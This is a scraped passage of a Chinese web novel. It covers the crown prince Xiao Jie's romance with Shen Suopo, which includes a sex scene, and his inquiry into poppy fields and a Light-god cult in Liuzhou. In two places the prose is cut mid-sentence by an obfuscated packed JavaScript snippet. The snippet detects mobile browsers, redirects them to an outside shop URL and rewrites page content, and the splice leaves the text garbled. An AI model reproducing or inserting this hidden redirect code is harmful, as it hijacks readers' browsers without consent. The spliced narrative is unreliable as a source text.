这么对视一会,萧玠真背对他,从被褥间跪住。他面对红帐子,感觉到身后窸窸窣窣的响动和沈娑婆靠近的体温,像被褥里钻出一条蛇来。蛇……那滑溜溜黏糊糊的身体从他肌肤擦过……那触感……虞闻道被从他身上驾开时那蛇从他身上滑落下来…… 一只手从身后递到面前时萧玠浑身绷紧,喘息一会,才看见那是沈娑婆的手,掌心托着他刚刚解下的汗巾。 “咬着汗巾。”沈娑婆道,“殿下,臣怕你咬着舌头。” 萧玠接过巾子,接着,他听到盖子旋离瓶口的声音。 沈娑婆问:“是我来抹,还是你自己?” 萧玠声音小得几不可闻,“……我不会。” 沈娑婆鼻息离带着笑意,“那就臣来。” 萧玠垂下头,将那汗巾咬在齿间。下一刻,他浑身战栗起来。 他两条手臂撑不住,一下子歪在榻上,嘴里巾子也松脱了。沈娑婆立即将他抱在怀里,道:“别哭,殿下,别哭,这是高兴的事。你若难受,咱们就罢了。” 他两条手臂从背后抱着萧玠,萧玠捂住脸,不再让哭声漏出一息。沈娑婆叹口气,一下一下摩挲他的脊背,轻声道:“很难受吗,我找点药膏擦一擦好不好?” 萧玠摇头,仍带着哭腔:“不是,这么多回了,我觉得对不住你呀……” 沈娑婆抱着他摇了摇,笑道:“怎么这么生分呢?” 萧玠哑声说:“那你……” 沈娑婆从他耳边说了几句,萧玠看他一会,缓缓从床上躺倒,将自己并得紧,沈娑婆随即压在他身上。红罗帐跟着架子床颤动起来。突然,整片空气都凝固一般,好一会,帐中才重新响起沈娑婆的声音:“破皮了……还是给你搽点药,不然骑马再磨着,再叫汗一浸,只怕疼得厉害。” 萧玠低低应一声,这时候他更爱黏糊,问:“什么药?” 沈娑婆道:“还是潮柳地带的特产,消肿清凉用的冰香膏。听说那颜色跟新蒸出的胭脂似的,又红润又透亮,似乎是加了虞美人花的缘故。” 萧玠翻了个身,缩在他怀里问:“我看老师的手记,似乎有过虞美人花的记载,又叫丽春花。” 沈娑婆问:“别的呢?” 萧玠想了想,“忘记了。别笑,我只是闲时翻着玩,又没有专门记诵过。” 沈娑婆笑道:“臣是笑,殿下就挨着本家,反倒要掉书袋去想。殿下忘了,柳州虞美人之盛举世称闻。这还要多亏陛下,柳州从前阿芙蓉生意火热,罂粟种植更是不计其数,当时之景同今日蜃楼相比只怕是仓廪之于粒米。若没有陛下的一道禁令,中原真的要流毒至今。陛下一把火烧尽罂粟田后,虞美人才改种起来,时至今日已为胜景。” 萧玠原还在他怀里躺着,突然坐起来,眼睛一亮,“我怎么没想到,柳州曾是陛下禁膏的本营,直至今日,柳人闻食膏如闻食人,这不就是现成的样板吗?” 他亲了亲沈娑婆下巴,忙找出衣裤穿上,趿上鞋往案边走,边道:“我现在就给陛下写信,我和绥郎往柳州跑一趟,学学那边的打烟戒膏之能。我听说柳州当年专门整合了一支戒膏的军队,十分厉害,咱们也练这么一队出来……” 沈娑婆哭笑不得,仍倚着枕:“这么看来,臣调情调得还不错。” “何止不错。”萧玠挽袖研墨,“简直是功在社稷。” “还是罢了,人家小郑将军建功立业是保家卫国,臣的功绩全在床榻上,怪道外头讲臣讲得那么难听。”沈娑婆也起身,将散落的头发拂到脑后,笑道,“臣还是好好改那曲子吧,到底还能在乐记里留点光彩——臣还是觉得,那将军终将反叛的暗示太明显了。不说旁的,就说诉衷情那一折,那段琵琶加得就不好。太紧凑,摆明这里就是暗藏鬼胎。不若就按寻常恋曲写,越真越悱恻,最后的那出逼宫才越刺激,越好看。” 沈娑婆边说边将罗帐挂好,把锦被掸开。床铺间的红雾退散,露出暧昧狼藉的皱痕。外头雨仍阴阴地下着,那条蛇仍没有爬出去,它冰冷黏腻的身体盘在某个角落,既是窥视也是等待。等待伏击,等待萧玠再次把双腿光裸出来。 90.第 90 章 史学界一致认为,梁昭帝萧恒至少进行过三次自发性质的祭祀仪式,这让他坚定的无神论调屡受质疑。我们知道,奉皇十七年,潮柳地带经历两次剧变,大概在这两场行动结束后,皇帝举行了第二次私人祭祀。据考,大梁宫甘露殿遗址最新出土的人骨祭器即为所用,原料很可能是昭帝自己的骨头。 这场祭祀对昭帝的重要性不言而喻,但前因后果皆无记述。笔者据史推断,这和以往一样,仍与他的独子明帝萧玠有关。《梁史》载,时任皇太子的萧玠于奉皇十七年三月中旬二下潮州,月底前往柳州。期间,皇帝频发梦魇,倍思太子,父子共计书信来往十四封。截止五月初五,萧恒去信三封,萧玠回信四封。在第四封回信后,萧玠断绝消息,萧恒的信件也从家信变成六道加急敕令(见注释)。 在第六道圣旨下发之后,皇太子返京,朝廷掀起昭帝执政期第一次废太子风波。但在这场声势浩大的讨伐前,皇太子雨夜染血的身影,更早一步成为萧恒的噩梦。 ——《梁秦骨血祭祀文化考·第三章第二节·皇帝的噩梦》 【注】 见《梁昭帝集》《梁明帝全集校注》,长安书局2024年影印本,笔者整理并转译如下: ○我估摸你快到柳州了,怎么样?我做了噩梦,心中惊恐,希望你一切都好。如果有什么头疼脑热,都要仔细写给我知道。阿爹书 ●叩问阿爹圣躬毋恙。我刚到呢,还没来得及写信。我这边都好,阿爹只怕是太过担心我,才日有所思夜有所梦。柳州物候极好,丽春花开,满城飘香。最近快到了光明神寿辰,柳州这边也要举办庙会。您知道吗?柳州这边竟普遍信奉光明宗,我听闻此事,非常惊喜。 又:我见到了老师的堂弟夏秋荣,他寄送夏家的特产被我分错了包袱,可能送到了您这里,下朝后麻烦您转交。阿爹千万珍重。子玠再拜 ○我又梦魇了,心里十分害怕。你怎么样?尽快给我写信。阿爹书 ●叩问阿爹圣躬毋恙。我一切都好,最近在考察黑膏处理的事,没有来得及回信。柳州的禁膏事宜做得很好,举州上下竟没有一个取用阿芙蓉的人,想必是您当年禁膏的遗风犹存。 又:他们的特产作业也很完善,很多鲜花制品远销内外,当地百姓富足,刺史唐翀功不可没。 又:这边有新建的光明神祠,初五法会之后,会由社邑出面号召信徒来为义医馆、育孤园募资,我很欣慰,也想捐些东西。 又:崔鲲那边怎么样?她是朝廷的忠直之士,请您千万保全她,不要让她做第二个裴兰桥。如果有什么事情,请一定让我知道。子玠再拜 ○崔鹏英述职完毕,一切无恙。阿芙蓉的事你不要牵涉太深,等杨峥这边的贪案处理完,我会让他亲自接管这件事。你还是赶紧回潮州去,或者回家来。你走的这些天,我没有睡过一个好觉。要么难以入睡,要么就做噩梦。快些来信,好让我安心。阿爹书 ●叩问阿爹圣躬毋恙。我这几天被花香熏得睡不好。(划去)我现在好的。但我感觉有些不对劲,柳州城有些不对劲。一切都平静但古怪地运作着,我怀疑每一个人,但每个人似乎又没有确切可疑之处。我准备再留一段时间,这次有龙武卫和太子卫率跟随,您不用担心。 又:听郑绥说青公的老家就在柳州,这里应当有其故址。青公的生祭快要到了,如果能找到地址,我想去祭拜。子玠再拜 ●皇太子庄田的事经过您允准了吗?我不得不有所行动了。对不起。对不起。罪臣萧玠再拜顿首。 ○什么事?你要做什么?你千万不要轻举妄动。我已经让崔鲲和夏秋声赶去柳州了,你立即赶回长安,我这几天叫左右卫南下接应你。 ○见书速返。 ○速返。 ○皇帝制诏,着皇太子萧玠从速归京。 ○皇帝制诏,皇太子萧玠从速归京。 ○皇帝制诏,着夏秋声崔鲲入柳引皇太子还,如逢械斗,必保太子万全。 ○皇帝制诏,夺皇太子潮州监察并巡狩之权,着崔鲲夏秋声领左卫入柳押解太子归京。勿犯太子,违者谋逆论处。 *** 萧玠初到柳州时,先看到柳州城瑰丽的天空。 清晨时分,一天粉红。朝云翻卷,宛如丽春花放,露出金黄欲滴的太阳花心。城墙下,柳州刺史唐翀早已率队恭候。 唐翀其人,个头不高不矮,身形不胖不瘦,长相不俊不丑,态度不卑不亢,堪称朝臣中的标杆,官僚里的典范。萧玠注意到,队伍里每个人帽边都簪一朵鲜花,每个人身上都散发一股浓郁花香。 唐翀上前拱手,说:“皇太子殿下驾临,柳州上下喜不自胜。” 萧玠说:“听说秦公出奔时,曾在此处落脚。” 唐翀笑道:“秦公可是咱们柳州的恩人,先是智斗宗戴,解救了不少女子。又铁索连江,为百姓赢得逃生之机。这些年和南秦的商贸交易,咱们柳州也占头筹。” 城门开启,萧玠在柳州官员陪伴下步行入内。一进城门,便见街道两边挂满招旗,胭脂红色,挑在竿头,像家家晾晒的过年的腊肉。腊肉是肉香,这招旗浸染的香气比肉香还要引人垂涎。 招旗之下,又有招牌,介绍各家货物:老刘鲜花饼、小张百花糕、三娘花露胭脂、四婶花汁香丸……各类货物,不论种类大小,均用红纸装封。瓶口纸包缝隙微翘,像嘴上贴了红封条。香气缕缕涌出,像嘴里断舌嘶嘶作响。 萧玠抽动鼻子,两股香气立即钻进鼻腔,沿他血管把全身嗖溜钻了个遍,香得他手软脚麻,眼前直冒丽春花。 萧玠摇摇脑袋,看向四周,见无数鲜花从众人身上长出:龙武卫鼻孔里抽枝条,郑绥耳朵里飘花瓣,自己一想说话,就有嫩芽要破出舌苔冒头,连沈娑婆抱琵琶的手指甲上,也丹蔻般绽开红蕾。萧玠转头,看向刺史唐翀,唐翀及其队伍气定神闲,如神蔽体,百花不侵,万花不入。 萧玠忙道:“使君,此花占据口鼻,实在难以呼吸,请教锄花之法。” 唐翀呵呵笑道:“殿下只怕香蒙了头。柳州之中,丽春花最盛。此花无毒,反倒是上好之品。花汁酿酒,味如琼浆。花瓣医用,灵如仙药。单说这一朵之花香,就能叫人顷刻之间如登天阙,化解人间诸多苦痛。更别说这鲜花制品,更是浓缩万花之香,一万多盛放鲜花的精华。只是人初一闻之,反倒难以经受,容易产生幻觉,说花开出嗓子眼里的都有,更有甚者避之如虎,那才是无缘无福之人。等这花香滋入骨髓,殿下便知我口中的妙处。” 萧玠看见一套粉红剪纸,听唐翀介绍,亦由花汁浸染而成。这套栩栩如生的皮影,让萧玠想起幼时夏秋声赠予他的第一套礼物,便让随行人购买下来。 等出了坊市,萧玠道:“我在宫中也尝过一些鲜花制品,皆不如贵地香气浓郁。看家家户户以花为生,想来此花之妙,已能养活一州之人。” 唐翀听闻,突然大变神色,当即撩袍跪倒,叫道:“请殿下恕臣死罪!” 当即有一穿着紫色官袍的官员跪倒,膝行出列,急声叫道:“是臣死罪,请殿下宽恕使君!” 萧玠微皱眉头,问:“二位有何死罪?” 花香之中,唐翀脸颊如饮美酒,越熏越红,“想必殿下知道,奉皇三年土地政令,陛下将全部皇家庄田施与百姓耕种,不收租,每亩每年交五十斤粮食,充作州府备用。而皇庄之中,便有皇太子庄田,南方最大的一块皇太子庄田便在柳州,足有千顷。” 萧玠点头,“我听陛下讲起过。” 唐翀抬手拭汗,说:“奉皇四年后,殿下常年抱恙,而所用几味药物要么取自雪山,要么生于大漠,极难培育。陛下又下旨意,各州皇太子庄田划出一部分为殿下种植草药,所得药物,由州府向农户付钱购买。这件事干系重大,在本地便由都尉郎夏秋荣督办。” 话音一落,那紫袍官员再磕一头,“柳州都尉郎夏秋荣参见殿下,殿下千岁!” 唐翀又道:“臣知道,他官职低微,监管此等要事似乎不太妥当。选定他来操办,无他,只因为他是殿下的太傅夏相公的本族堂弟,当年寄居长安,曾受过雁浦公三年抚育教导之恩。而皇太子庄田诸本,陛下也交给了夏相公统揽。臣揣度,他为殿下、为夏相公效劳,必比旁人尽心竭力。” 萧玠道:“既如此,二位何罪之有?” 唐翀叩首,道:“真正开始种植草药时,臣和都尉郎发现,太子庄田背阳朝阴,土地极其疏松,并不适宜这几种草药生长。是以前两年栽种,所获寥寥。此时经历了几次天灾,庄稼收成也不好,百姓入不敷出,眼看又要走下坡路。就在这时,臣等意外发现,丽春花竟能在庄田种植,为了百姓生计,便由臣做主,将陛下下旨栽种的草药改成丽春。” 唐翀咚咚叩头,“千错万错是臣一人之错,求殿下仁慈,宽恕柳州百姓!都尉郎更是听令行事,也请殿下从轻发落!” 夏秋荣抢到萧玠面前,哀声叫道:“是臣出的主意,使君只是不忍田地荒废,故而行此不韪之举!请殿下处臣死罪,宽恕使君!” 他们一跪,众人也当即跪倒,身体匍匐,膝行上前,向一群花虫涌向新撒的肥料,在这花国花城之中,发动一场不动声色的逼宫。每个人都哭天抢地,放声大叫:“求殿下宽恕使君,求殿下宽恕都尉郎!” 这样众志成城的求情声里,萧玠领悟了民意如水的道理。他和颜悦色:“此利民之举,功在社稷。二位何罪之有?快些请起。” 二位便起,侍立萧玠身侧。萧玠说:“这么一说,我倒起了好奇,不知二位有否雅兴,带我去庄田转一转?” 唐翀唯唯,夏秋荣诺诺。萧玠重新上马,在柳州卫队的指引下,向城池腹地出发。 远远地,萧玠望见一颗粉红饱满的心脏在柳州肚子里跳动。那是一块前无古人的粉红土地。萧玠□□红马如受感召,一杆飞枪般冲刺向目的地,那块高悬“皇太子庄田”大字匾额的篱笆门前。 不得不承认,萧玠的感官受到巨大的冲击。眼前土地遍布坑洼,是改种后的伤痕,更是农具劳动的标准,黔首英雄的徽章。每一个血红坑洼出都生出根茎,开出一棵鲜艳无比的粉红花束。那是何等美丽的花朵!四片花瓣,像四个肩贴肩向外站立的美女,□□,袒胸露乳。她们肌肤油润,呈熟透的桃红。她们脚踩绛紫缎面绣鞋,像花瓣底部深紫的斑痕。她们踩在墨绿舞台,像踩上花萼。萼片拂动,蜿蜒腿间,像比引诱夏娃还罪恶的青绿的毒蛇。这八只健康的、未缠足的、穿绣鞋的脚,无疑是女性野性美的标志。而她们懵懂无知的神态,透露出藏于深闺的处女的纯洁或藏于洞天的仙女的纯洁。野性与纯洁集于一体,天足与丰肌集于一体,这简直是造化的女人,极品的女人,女人中的女人! 在她们面前,只有异性恋的男人和同性恋的女人。如果有哪一刻,萧玠曾对自己分桃断袖的强大基因有所动摇,那一定是此时此地,面对这些尽态极妍的绽放的女人。这一刻,萧玠也明白满城飘香的来源。他不由想到,不知多少年前或年后的十六世纪,来自回部的女孩和卓氏横空出世,浑身的异香将或伟大或愚蠢的清高宗征服。据说她舞蹈引来蝴蝶翩翩,萧玠一度认定是传说加工的产物。直至此刻,他眼前女人们强大的肉香已经将既伟大又愚蠢的天地征服。 随着天边的粉白云群越压越低,云中响起嗡嗡震动,突然一阵狂风卷起,田野之中女人翩跹,田野之外人仰马翻。萧玠发现,那是一群蛱蝶的仪仗队伍。它们从天而降,不辞辛劳,从雄蕊到雌蕊,助力这幕天席地的盛大欢会。 萧玠跳下马背,刚走上田垄,就被花心站着的四个美人抱住小腿。多么可爱可怜的姐妹!他平生第一次被女人的魅力诱惑,不由低手,像每一个男异性恋和女同性恋一样,手指缱绻地爱抚她们的身体,讶然于这胴体丝绸般的滑柔。 萧玠不知道问谁:“这就是丽春花?” 唐翀笑道:“是,也叫虞美人。” 果真是美人呀!美得让人沉醉,让人忍不住潸然泪下。萧玠心中涌起一种感动,为这万众一心的美。 这一会,百姓也渐渐围拥,不知道是观赏皇太子风姿还是观赏这旷古的花海。大伙齐心协力,为远道而来的皇太子介绍:丽春花种性温良,喜干向阳。适宜沙土,山间正好。太子庄田的丽春花足有百种之多,足以供养整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“烧田之后,陛下雷厉风行,更是制定禁膏十三令,就是咱们新法禁膏三十条的雏形。从那之后,食膏之所皆被查封,柳州上下每个人,更是练出一只辨别膏香的好鼻子。但凡遇见罂粟制品,我们柳州人的鼻子简直比猎狗还灵!就算糕点里搀了一滴罂粟花汁,叫柳州人凑近一闻,当场分辨,甚至无需人证物证,柳州人的鼻子就是凿凿铁证。为了鼓励全民禁膏,由柳州州府开头,召开‘辨膏大会’。一年一届,已办十年。由曾经的制膏老板出面,介绍各类黑膏制品,什么烧膏用的香灯、抽膏用的象牙嘴、掺罂粟的安神丸、榨罂粟的特制网,殿下您随机揪出一个柳州人,他当即就能说出相应名目。‘辨膏大会’夺魁之人,被柳州人称为膏王——这可跟吃膏的不同,他们是膏里的蛆虫,我们是膏里的圣手。最成功的一次‘辨膏大会’,微臣不才,正是主办。我们找到十多种罂粟制品,让选手观其色、闻其味,分辨制作工艺流程。是届膏王,正是犬子。” 唐翀一招手,人群之中,当即蹿出一条身影。身穿锦衣,二十出头,那姿势敏捷得不像人而像狗。唐翀拍了拍年轻人后背,向萧玠介绍:“说来奇怪,臣和拙荆两个鼻子如同酒糟子,竟生出这样一个追踪千里的狗鼻子。当时,犬子拿起一盘芙蓉糕,盘中十块糕点,当中切开,露出瓤肉。犬子的狗鼻子,简直是一把扒犁,就连那罂粟花的祖坟都给刨了出来。微臣看到,他凑近一闻,两缕香气被犁齿耙动,两阵黄沙般卷入他的鼻中。他双眼紧闭,鼻翼鼓动,紧接着,他两个鼻孔,喷出两股发酵后的花香。犬子一张狗嘴,在选出罂粟糕后,竟一口咬定,罂粟花汁没有在瓤心,而是夹在第三层起酥的酥皮里。他将那股香气再次吸入,细细品味,说这朵花正是某州某县某田地距道路某尺处,一朵并蒂双生的血英品种。这一滴花汁,正是由那朵矮小的妹妹制成。他一断言,柳州人民当即捧出记录翻看,严丝合缝,犹如占卜。殿下您瞧,我们柳州大地,盛产识膏辨膏的能人异士。就算一万朵丽春花里搀了一朵罂粟花,也别想逃过我们柳州人的鼻子。” 唐翀一边介绍,一边引萧玠离开庄田,向公廨走去。 道路早已清空,青石大道在天空下闪烁着迷人的粉红光芒。两旁马蹄达达,宛如仙人击磬。路边招旗垂立,仿佛神女娉婷。连不远处的天际,都似乎传来诵经吟哦之声。这时萧玠听清吟诵,不是梵文也不是雅言,是他血液里流淌的另一条河流的史诗。在那座神明金像被十六人抬着出现在经幡之下时,萧玠听到,在场所有柳州人都双掌合十,口诵道:“大慈悲无量光明王。” 唐翀放下手掌,对萧玠解释道:“当年秦公管辖柳州,颇有大恩。所奉光明教也由人传诵,在本地渐成风尚。现在十户有八户里,都是光明神的供奉。为此,柳州还专门组织了光明司,作为第一个梁地光明信徒的正式组织。这不,马上要到五月初五,各地乡绅为庆贺神王寿日,专门为光明神盖了新祠塑了新像,就等当天齐聚举办法会呢。” 抬像队伍越来越近,十六条大杠上,光明神的身影也逐渐清晰。从形制来看,这座金像的身份确凿无疑。一座双面,前为男人。右手揽刀,左手提灯。但据萧玠十年以来日夜相处的经验,这绝对不是光明真正的化身。该像脸庞浮肿,宛如酒色填充。双目乜斜,简直装傻充楞。他不是萧恒式的冷冽气质,而是凭栏观花的富贵形容。 花。 萧玠突然明白什么是最大的不同。 宝台之上,无数丽春花拥簇。小者如玉杯,大者如旭日。条条花枝外放,宛如拔剑兵士。那股花香将神仙每寸金肤染成粉红,远远观之,宛如活人血肉。 两支队伍同行一道,神像往西,萧玠往东。夏秋荣躬身上前,询问唐翀:“使君,卑职过去打个招呼,让送神队伍避让?” 萧玠说:“不必,我们路边站,让神像先行。” 夏秋荣打一下脑袋,忙道:“臣怎么忘了,光明也是殿下的信奉。” 萧玠退到一旁,紧接着,郑绥一挥手臂,龙武卫挎刀退步,哗一声撤到萧玠身后,让出那条映射粉光的青石道路。 接下来,送神队伍诵经不停,脚步未止,擦肩而过时,萧玠看到神像背面。那儿本该坐着暗神低眉慈悲的女像,但萧玠只能说,现在那里坐着个女人。女人脸孔云雾缭绕,如同谜团。萧玠破译出的,只有一抹冰凉神秘的粉红微笑。 是夜,萧玠饮药,沈娑婆递上果膏。膏体粉红透亮,宛如花汁胭脂。 萧玠舀一匙在口,问:“是丽春花的花膏么?” 沈娑婆捏捏他的脸,笑道:“殿下果真香迷糊了。什么花膏,是臣的梨膏。喔,陛下有书信送到,小郑将军要臣转交。” 萧玠忙从他手中取过信封拆开,里面果然是萧恒字迹:度日当至柳,何如?惊梦大忌,望儿万安。但少有疾患,一一具报。爹爹书。 萧玠见了,会心一笑,忙跑去案边研墨,展笺写道:臣叩问爹爹圣躬无恙。初至,未及书还,即见爹爹信。诸事俱安。爹爹所以魇者,日之思夜之梦也…… 91.第 91 章 自打遇见那座光明神像,萧玠心中记挂,便专程去神祠拜谒。 隔着一条街,萧玠就闻到香烟气息,连丽春花香都盖过一头。等见了光明神祠,更是赞叹不止。 祠庙高大华丽,简直像南秦光明神庙的等身复刻。香客络绎不绝,几乎踏破门槛。 萧玠便装出行,没有太过惹眼,不由笑道:“没想到大梁还有如此兴盛的光明祠庙。” 唐翀随行在侧,请他入内,“这是托殿下和秦公的福。” 庙内陈设无不精细,壁画栩栩如生,色彩鲜亮,只怕涂料中搀了金粉。宝座前更供奉灯塔灯山,足有二十层高,一走近就能闻到香油燃烧的浓香翻动。郑绥看向烛台,不由讶然,“这灯台都是由纯金打造?” 唐翀呵呵笑道:“正是,这十座桐花金烛台正是由永州虞四郎供奉,半年还要换一次新呢。” “永州虞氏。”萧玠问,“是嘉国公的本家?” “正是,仔细算来,这位四郎还是嘉国公的堂侄。臣听闻嘉国公一脉名望最盛,却并非长房。这位虞四郎的父亲正是虞氏这一代的族长,家中绫罗绸缎取用不尽,更别说几只金盏子了。” 郑绥奇道:“永州离柳州可是有一段的路程,虞郎如何得知神庙之事,又如何供奉?” 唐翀笑道:“这样讲起来,还是几年前那次粮荒。别说北方,连咱们南方都一场大旱,粮价翻了十倍不止。臣也是一筹莫展,只怕成个千古罪人。当时仓中粮已殆尽,臣便出动公员向邻地求粮。但要么也是受旱灾之苦,要么就是坐地起价,全无道德。柳州城中已经有人饿死,臣走投无路之际,一位善人来到柳州,捐出自己全部存粮。” 唐翀深深吸一口气,“那真是一位神人!自从他来后,粮车源源不断驶入柳州,他一人之粮竟够柳州上下吃用。善人的粮车整整拉了一个月,帮柳州上下扛住这次灭顶之灾。” 萧玠道:“一人之粮供养全州,听上去绝非凡人能为。” 唐翀道:“谁说不是,这位善人不留姓名,穿戴斗篷,一个月来竟无人得窥真容。就算有人偶尔瞧见他的脸,事后竟回忆不起他的相貌。但他来的时候,右手挎把丢了鞘的刀,左手提一盏灯笼,白天晚上的不熄灯。一个月里,竟不见他更换一次蜡烛,说来也奇,再大的狂风,也没将那蜡烛吹暗一分。直到他离开,柳州上下没有一人猜出他是何方神圣。还是一次打扫秦公当年暂居过的房间,找到了一幅光明神画像,臣等才知是神明下降普度众生。光明神更是一州恩人,是故举州信奉。” 萧玠颔首,“不料竟有这样一段故事在。” 唐翀道:“正是,劫难过后,光明神下降施救柳州之事传扬开来,便有不少人慕名前来,柳州也就成为咱们大梁光明信众的聚集之处。” 萧玠目光从那金光熠熠的烛台上移开,投向空无一物的宝座之上,问:“我看香客众多,怎么不见神像?” “前几日殿下也瞧见了,各地信众给神像新塑了金身,便把旧的搬了下来。新神像本该立即换上,但再过几天就到初五,是光明神的诞日。臣等商议,在当天举行法会,热热闹闹地将神像请上去。法会后,便由社邑组织,各地新种捐出善款,以光明名义建立医馆粥铺,救济百姓。” “这可是功德无量。”萧玠笑道,“到时候我也想捐些东西,使君觉得是否可行?” 唐翀忙道:“那可真是咱们柳州的荣幸了!” 萧玠问:“这样的善款募捐是每年都有么?” “每年都有。既能得神王庇佑,又能图个名声,但凡有点家底的都趋之若鹜,生怕叫人比下去。” 萧玠笑道:“既如此,更不能两手空空地来了。只是我没参与过募捐,不知都能捐些什么物品,多少数量合适。还想借一份往年的单子瞧瞧。” 唐翀叹道:“殿下心怀天下,下降咱们柳州已然是咱们天大的福气。殿下随意赏些什么就成。” “使君也说了,我是殿下,出来就是陛下的脸面。”萧玠笑了笑,“总叫我有个底,别闹了笑话。” 一番礼拜后,唐翀也叫人取来单子,这会便到了中饭时候,萧玠便登车回去。临上车时他没踩好,将脚扭了一下,便打开车帘叫郑绥:“绥郎,你有没有伤药,我敷一下脚。” 郑绥钻进车中,却见萧玠正襟危坐,全然不见伤痛之色。 他顿时会意,等马车辘辘行驶,方低声道:“殿下觉得有蹊跷?” 萧玠身上的素罗袍是秦灼留下的料子,阳光下粼粼如波光,在马车里,闪烁着金粉般淡淡的暗芒。他打开名单,转手递给郑绥,道:“捐赠者有不少乡绅富户,还有许多世家子弟,五湖四海无不包括,看这样子,至少南方信奉光明的不在少数。但咱们一路南下,在其他地方并没有见到光明信众。如果光明神这般声名远播,怎么会只播到捐款的富贵之家,平头百姓却少有听闻?” 郑绥道:“臣也在想这件事。唐翀提到柳州信奉光明,是为了感谢神王助柳州度过粮荒。他指的粮荒,应当是奉皇十年的南三道大旱。但臣记得当年南方普遍受灾,南秦的灾情更是只重不浅,陛下派马道运粮时还有过嘱咐,如向南秦借道,需予粮食为谢。既如此,如果真是光明神降世,为什么不救自己的子民,反而去救与南秦敌对的梁人?” 两个人同时静下来,一时间,耳边只剩下辘辘车声。那股花香的小手将帘掀起一角,柔若无骨地探进来,捏过萧玠的耳垂后又去摸郑绥的脸。这样本该如坐针毡的暖香里,两个人却心冷如铁。 郑绥终于开口:“殿下,你还是先回去,臣带龙武卫在此探查,一有消息,立刻书信相报。” 萧玠道:“我现在一走,不过打草惊蛇。” “殿下,”郑绥沉声道,“别犟。” “王云楠案我过来了,玉陷园案我过来了,潮州谋逆案我也过来了。”萧玠道,“我的命数在二十岁,还有三年,老天有眼,不会提前收我。” 他求道:“绥郎,你做统帅,我做小卒,好不好?我保证什么都听你的。” 郑绥沉默片刻,问:“都听我的?” 萧玠忙道:“都听你的。” 郑绥没再多说,应了一声。萧玠笑起来,也就放松了姿态,靠着车壁闭目养神。他听见街边呦喝叫卖声,便掀开帘子,问:“阿婆,这花饼闻着香,要怎么卖?”交谈一会,便要下车,扭头冲郑绥笑笑:“七郎爱吃梨花做的糕点,我下去买一些,就来。” *** 萧玠将梨花糕从怀里取出,刚放上桌,一回头,见沈娑婆抱了一怀的花倚门看他。 萧玠笑道:“进门没找见你,也没带琵琶,以为你干什么去了。” 沈娑婆走进来,笑道:“自然是会娘子去了。风和日丽,好不怡人呢。” 萧玠也笑道:“难为还记得回家。” “何止,臣这不连娘子都携将回来。”沈娑婆将花递过去,“殿下若大度,便给个安置。是叫她进外间的白玉瓶儿好呢,还是卧室的石青花觚好?” “你好多话。”萧玠一贯经不得调笑,便将花接在手中,轻轻闻了闻,“这也是丽春花么?总觉得颜色要深些,香味也不一样。” “柳州虞美人品种远逾百数,若尽相同了,反倒不美。”沈娑婆讲了这一句,便只看他,不说话。 萧玠问:“你瞧什么呢?” 沈娑婆笑道:“我瞧花面不如人面好。” 萧玠把花往他怀里一塞,板着脸道:“你这几天尽学些混账话。” “这就混账?”沈娑婆捏了捏他的脸,“臣真混账的时候,殿下可是没力气和臣说嘴的。” 萧玠边躲边道:“别捏我,我有正经事讲。” 沈娑婆便不同他闹,仍虚虚抱着他,道:“臣洗耳恭听。” 萧玠问:“你这几日出去采风,有没有觉得什么异样?” 沈娑婆想了一会,“倒真没什么。柳州人民和乐,生活也算得上富足,对唐刺史这位父母官也是赞不绝口。如今丽春花一开,整个鲜花作业更是如火如荼。依臣之见,柳州称得上是安乐之城。” 他察觉不对,问:“殿下觉得,柳州有鬼?” 萧玠又将那束丽春花搂过来,插进净瓶里,“我不知道,我总觉得柳州城太安乐了,像所有人想要我看到的安乐。一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627327|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条鲜花作业能养活全州人吃饭,但花期这么短……那不开花的时候,柳州人靠什么吃喝?一季的花物花品就够百姓一年吃用,还富足如此,怎么可能?” 沈娑婆眉头渐锁,道:“臣也见了些鲜花制品,售价算不得昂贵,且非大宗之物,很难营得暴利……的确不太对劲。” 他握了握萧玠的手,“这样,臣这几日采风多留意一些,问问当地住户的说法。若有异常,立即向殿下禀报。” 萧玠笑了笑:“多谢你。” 沈娑婆也笑了:“殿下想怎么谢我呢?” 萧玠笑道:“我请你吃糕呀。梨花糕,今日特意在街上买的,你快尝尝。” 边说着,他边撕开一枚深红封条,拆开淡青纸包,露出白皑皑的糕点来。沈娑婆瞥了一眼,仍撑着桌子笑:“可口腹之欲,非臣之愿呢。” 萧玠脸腾一下红起来。他咬了咬嘴唇,垫脚附在沈娑婆耳边小声说了句什么。沈娑婆转眸看他,仍不表态。萧玠有些着急,问:“你到底要怎样?”沈娑婆便在他耳边略讲几句,两句话没讲完,萧玠就要从他怀里挣开,有些气极,又有些羞恼,声音却逐渐小下去,赤着脸叫:“你又混账!” 沈娑婆道:“殿下就说应不应吧。” 萧玠犹压低声音:“不行,我……我受不住,七郎,我现在受不住。” 沈娑婆哄他,亲了亲他头发,“咱们不用那儿。别怕。” 他垂颈,贴在萧玠耳边,柔声问:“殿下,你真的只是害怕,没有兴奋吗?” 说着,他搂在萧玠臂上的手掌滑下去。萧玠呼吸急促起来,一股糖胶般在他胸口上化了,黏手柔滑的,是比丽春花香还浓的甜蜜和炙热。 沈娑婆含住他耳垂,了然道:“啊,你兴奋了。” *** 不管是沈娑婆私下打听还是郑绥暗中探问,仍没在城中找到任何破绽。柳州城似乎是一个天然的福窝,在花香酝酿里陶然自得。时日一久,萧玠心中那点异样也逐渐淡去,再度投入禁膏事宜的学习中来。 